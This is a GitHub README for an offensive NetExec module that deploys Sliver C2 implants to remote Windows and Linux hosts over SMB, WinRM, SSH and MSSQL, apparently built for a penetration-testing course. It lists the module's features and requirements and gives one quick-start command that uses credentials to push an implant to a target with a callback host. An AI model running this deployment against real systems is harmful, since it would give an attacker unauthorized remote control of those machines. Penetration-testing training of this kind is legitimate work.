Skip to content

moerketh/sliver-netexec-module

Repository files navigation

Sliver NetExec Module

A NetExec module that deploys Sliver C2 implants to remote Windows and Linux targets via SMB, WinRM, SSH, and MSSQL protocols.

Features

  • Multi-Protocol Support: SMB, WinRM, SSH, MSSQL
  • Automatic OS/Architecture Detection: Detects from connection metadata
  • Unique Implants: Generates unique implant per target
  • Configurable Options: Beacon intervals, cleanup, wait times, staging methods
  • Profile Support: Use pre-configured Sliver profiles for consistent deployments
  • Cross-Platform: Deploy to Windows and Linux targets

Requirements

  • NetExec (nxc) installed
  • Sliver C2 server running (v1.6+)
  • Valid Sliver client configuration
  • Target credentials (Windows: admin, Linux: root/sudo, MSSQL: sysadmin)

Quick Install

./scripts/install.sh

For detailed installation instructions, see Installation Guide.

Quick Start

Deploy a Sliver implant via SMB:

nxc smb 172.16.15.20 -u localuser -p password \
  -M sliver_exec \
  -o RHOST=10.10.15.193

See Usage Guide for more examples and options.

Documentation

Credits

This module was written as part of the Active Directory Penetration Expert Course on Hack The Box.

Developed with assistance from AI coding assistants: Claude (Anthropic) and Grok (xAI).

About

A Sliver C2 module for NetExec

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published